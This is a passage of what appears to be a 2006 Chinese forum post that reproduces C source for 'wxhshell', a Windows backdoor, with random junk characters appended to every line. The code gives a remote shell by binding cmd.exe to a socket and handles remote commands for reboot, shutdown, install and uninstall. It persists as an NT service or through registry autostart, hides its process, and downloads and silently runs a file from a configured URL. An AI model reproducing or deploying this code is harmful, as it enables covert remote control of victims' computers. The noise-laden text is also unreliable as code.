      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); m!gz3u]rN  
    break; wVX[)E\J  
  } :{PJI,  
  // 安装 r(6Y*<  
  case 'i': { GOj-)i/_  
    if(Install()) ot,jp|N>f~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QCD .YFM  
    else EOIN^4V"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %D UH@j  
    break; Z 6t56"u  
    } "fQ~uzg="  
  // 卸载 Pnk5mK$  
  case 'r': { yg `j-9[8  
    if(Uninstall()) {}>0e:51  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f~t:L, \,  
    else ^?-:'<4q$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $I!XSz"/e  
    break; _ q(ko/T  
    } j:^#rFD4?  
  // 显示 wxhshell 所在路径 9`T)@Uj2n  
  case 'p': { HD@$t)mn  
    char svExeFile[MAX_PATH]; )YYf1o[+  
    strcpy(svExeFile,"\n\r"); )#EGTRdo  
      strcat(svExeFile,ExeFile); g%ndvdb m  
        send(wsh,svExeFile,strlen(svExeFile),0); yd^ {tQi  
    break; k|v3.< -  
    } ^T( .k=  
  // 重启 uX"H4l O~  
  case 'b': { bh s5x  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %r<rcY  
    if(Boot(REBOOT)) NC8t) X7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0m7Y>0wC6T  
    else { S(o#K|)>  
    closesocket(wsh); \(3y7D  
    ExitThread(0); !lREaSM  
    } gcii9vz `  
    break; q VjdOY:z  
    } e2L0VXbb  
  // 关机 #=D) j  
  case 'd': { :<ka3<0%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); dah[:rP,n{  
    if(Boot(SHUTDOWN)) mH54ja2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5 z~1Dw  
    else { __lM7LFL  
    closesocket(wsh); ,oORW/0iS  
    ExitThread(0); d)B@x`  
    } @*F"Q1 wI  
    break; Vmc5IPd{\  
    } hv)x=e<  
  // 获取shell 00<cYy  
  case 's': { ~< P 0]ju  
    CmdShell(wsh); a[v0%W ]u  
    closesocket(wsh); 5uGqX"  
    ExitThread(0); ]O Z5 fd  
    break; *w$W2I>b7  
  } w:??h4lt  
  // 退出 IW)()*8;/  
  case 'x': { ~ {?_p@&n  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /Y*WBTV'  
    CloseIt(wsh); 7@#>b E6  
    break; fs|)l$Rd  
    } UN7EF/!Zz  
  // 离开 &w4?)#  
  case 'q': { `0rd26Qro  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }Dp*}=?E  
    closesocket(wsh); =AsEZ)" _  
    WSACleanup(); &*sP/z  
    exit(1); 68bQ;Dv  
    break; k=2Lo  
        } =31"fS@  
  } { .n"Z  
  } +~St !QV%  
2:*w~|6>}5  
  // 提示信息 32l3vv.j  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ImCe K  
} iy6On,UL  
  } 2^XGGB0  
7;u e  
  return; 4)E_0.C  
} #w;v0&p  
rI{=WPI&WU  
// shell模块句柄  ,t}vz 7  
int CmdShell(SOCKET sock) D,m]CK '  
{ FK6[>(QO  
STARTUPINFO si; *v?`<)P#  
ZeroMemory(&si,sizeof(si)); ~Xr=4V:a+  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =Xm@YVf&ZD  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; O[# 27_dH  
PROCESS_INFORMATION ProcessInfo; 3E7ULK  
char cmdline[]="cmd"; P<oehw'>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $r@ =*(  
  return 0; R[Ll59-  
} :#2Bw]z&z  
eeIhed9  
// 自身启动模式 /{|EAd{  
int StartFromService(void) 832v"k CD  
{ ,/[6e\0~  
typedef struct rMXN[,|v  
{ 6Vww;1 J  
  DWORD ExitStatus; ]I-Z]m "  
  DWORD PebBaseAddress; Ok{*fa.PK  
  DWORD AffinityMask; $J4 *U  
  DWORD BasePriority; IOTR/anu  
  ULONG UniqueProcessId; I6~pV@h^=  
  ULONG InheritedFromUniqueProcessId; 2<li7c59  
}   PROCESS_BASIC_INFORMATION; @HT% n  
{-ZFp  
PROCNTQSIP NtQueryInformationProcess; CPgCjtY  
Yaj0;Lo[wt  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; INUG*JC6  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =b38(\  
hp8%.V$f  
  HANDLE             hProcess; f6|KN+.  
  PROCESS_BASIC_INFORMATION pbi; Vw[6t>`  
gHhh>FFAq  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Tfh 2.  
  if(NULL == hInst ) return 0; FE" y\2}  
- *F(7$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Kqun^"Df  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  R=.4  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #u2J;9P  
"-_fv5jL  
  if (!NtQueryInformationProcess) return 0; p/(~IC "!J  
()tp>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =,%CLS,6w  
  if(!hProcess) return 0; $4-$pL6"  
I[b}4M6E  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >tTj[cMJl  
& +4gSr  
  CloseHandle(hProcess); whonDG4WP  
VQY&g;[d  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (Lo%9HZ1Mx  
if(hProcess==NULL) return 0; b:=TB0Fx?n  
rI^zB mrr  
HMODULE hMod; r~+\ Y"rM  
char procName[255]; |\_^ B  
unsigned long cbNeeded; [qdRUV'  
~jK{ ,$:=  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); t(GR)&>.2  
pp.6Ex (R  
  CloseHandle(hProcess); 6)z?f4,  
ay1YOfa*  
if(strstr(procName,"services")) return 1; // 以服务启动 xAafm<L@!  
?aC'.jH+  
  return 0; // 注册表启动 J%V-Q>L  
} ^BUYjq%(`  
c;{Q,"9U  
// 主模块 yvgrIdEP  
int StartWxhshell(LPSTR lpCmdLine) )Y]{HQd  
{ !(q sD+  
  SOCKET wsl; t^`O{m<  
BOOL val=TRUE; 6``'%S'#  
  int port=0; z?>D_NLX6  
  struct sockaddr_in door; :1 (p.q=  
$|]" W=h  
  if(wscfg.ws_autoins) Install(); vgD {qg@  
Bt1p'g(V|  
port=atoi(lpCmdLine); D6CS8 ~"  
hOFOO_byzO  
if(port<=0) port=wscfg.ws_port; :,WtR  
eFBeJZuE|  
  WSADATA data; :`E8Z:-R  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $p#%G#T  
Gq_-Val]"  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ` L >  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 76V 6cI=+  
  door.sin_family = AF_INET; cUqke+!  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); H_EB1"C;\  
  door.sin_port = htons(port);  |?Frj  
( xXGSx  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0ge$ p,  
closesocket(wsl); \=+b}mKV m  
return 1; )foq),2  
} hdnTXs@z  
"8 ~:[G#  
  if(listen(wsl,2) == INVALID_SOCKET) { Glxuz0]  
closesocket(wsl); N;Dni#tQ`  
return 1; z^_*&  
} `Q+ (LBP  
  Wxhshell(wsl); I#m-g-J  
  WSACleanup(); Y7#-Fra0W  
WX}xmtLs  
return 0; uum;q-"  
F.-R r  
} lE!a  
GM<BO8Y.  
// 以NT服务方式启动 S{FROC~1R  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %YSpCI  
{ ?q(\=;Y  
DWORD   status = 0; &ZghMq~  
  DWORD   specificError = 0xfffffff; `6 /$M!4$  
XO-Prs  
  serviceStatus.dwServiceType     = SERVICE_WIN32; u$*56y   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; fGw^:,B  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; B;R.#^@/  
  serviceStatus.dwWin32ExitCode     = 0; =`*O1a  
  serviceStatus.dwServiceSpecificExitCode = 0; UbEb&9}  
  serviceStatus.dwCheckPoint       = 0; CPVjmRUF|  
  serviceStatus.dwWaitHint       = 0; lY~4'8^  
HS{(v;  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *+TH#EL2  
  if (hServiceStatusHandle==0) return; } X^|$  
%{(x3\ *&  
status = GetLastError(); hX`hs- *qM  
  if (status!=NO_ERROR) \Y|~2Ls8tu  
{ 89n:)|rWq  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; D\@m6=L  
    serviceStatus.dwCheckPoint       = 0; VR+<v   
    serviceStatus.dwWaitHint       = 0; l IUuA  
    serviceStatus.dwWin32ExitCode     = status; R)F;py8)I  
    serviceStatus.dwServiceSpecificExitCode = specificError; >w-;Z>3Q@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); j. *VJazb;  
    return; KhCzD[tf  
  } TMs,j!w?I  
Mva3+T  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Ypeiy `.  
  serviceStatus.dwCheckPoint       = 0; U~} U\_  
  serviceStatus.dwWaitHint       = 0; HDda@Jy  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {fha`i  
} pl5P2&k  
Tneq6>  
// 处理NT服务事件,比如:启动、停止 by'DQ 00  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ]W Zq^'q.  
{ ;w6>"O$a  
switch(fdwControl) |\n@3cIK  
{ P6 ;'Sza  
case SERVICE_CONTROL_STOP: :Xn7Ha[f  
  serviceStatus.dwWin32ExitCode = 0; "p/j; 6H  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Rw6; Z  
  serviceStatus.dwCheckPoint   = 0; ?gO8kPg/D  
  serviceStatus.dwWaitHint     = 0; o\88t){/kB  
  { 2:BF[c`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >iOzl wmG  
  } y kW [B  
  return; v~T7`  
case SERVICE_CONTROL_PAUSE: :Gu+m  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; qS/V"|G(  
  break; 4B4Z])$3  
case SERVICE_CONTROL_CONTINUE: ~_9n.C  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; b{d4xU8'  
  break; n:0}utU4  
case SERVICE_CONTROL_INTERROGATE: bn(`O1r[(  
  break; JXixYwm  
}; ~`GhS<D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [U@ *1  
} "+z?x~rk  
K]qM~v<A  
// 标准应用程序主函数 R64!>o"nED  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) T;diNfgg  
{ mCs#.%dU  
&X|<@'933  
// 获取操作系统版本 {TOmv  
OsIsNt=GetOsVer(); h'i{&mS_b  
GetModuleFileName(NULL,ExeFile,MAX_PATH); zVi15P$  
n4R2^gXAw  
  // 从命令行安装 t4q ej  
  if(strpbrk(lpCmdLine,"iI")) Install(); ;Og&FFs'  
0x11 vr!  
  // 下载执行文件 '=E3[0W  
if(wscfg.ws_downexe) { uk9g<<3T  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?\U!huu  
  WinExec(wscfg.ws_filenam,SW_HIDE); yJsH=5A  
} &f>eQ S=(  
l{:a1^[>y  
if(!OsIsNt) { 8K;Y2 #  
// 如果时win9x,隐藏进程并且设置为注册表启动 GyW.2  
HideProc(); =?])['VaA  
StartWxhshell(lpCmdLine); fQ'.8'>T  
} 0l=+$& D  
else E"%2)  
  if(StartFromService()) aYn8 ^  
  // 以服务方式启动 hKNY+S})g  
  StartServiceCtrlDispatcher(DispatchTable); [xfaj'j=@  
else ewuXpv%vwW  
  // 普通方式启动 ="%W2  
  StartWxhshell(lpCmdLine); !@I}mQ ~  
Uu"0rUzt  
return 0; QN>7~=`  
}
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只看该作者 1 发表于: 2006-10-10
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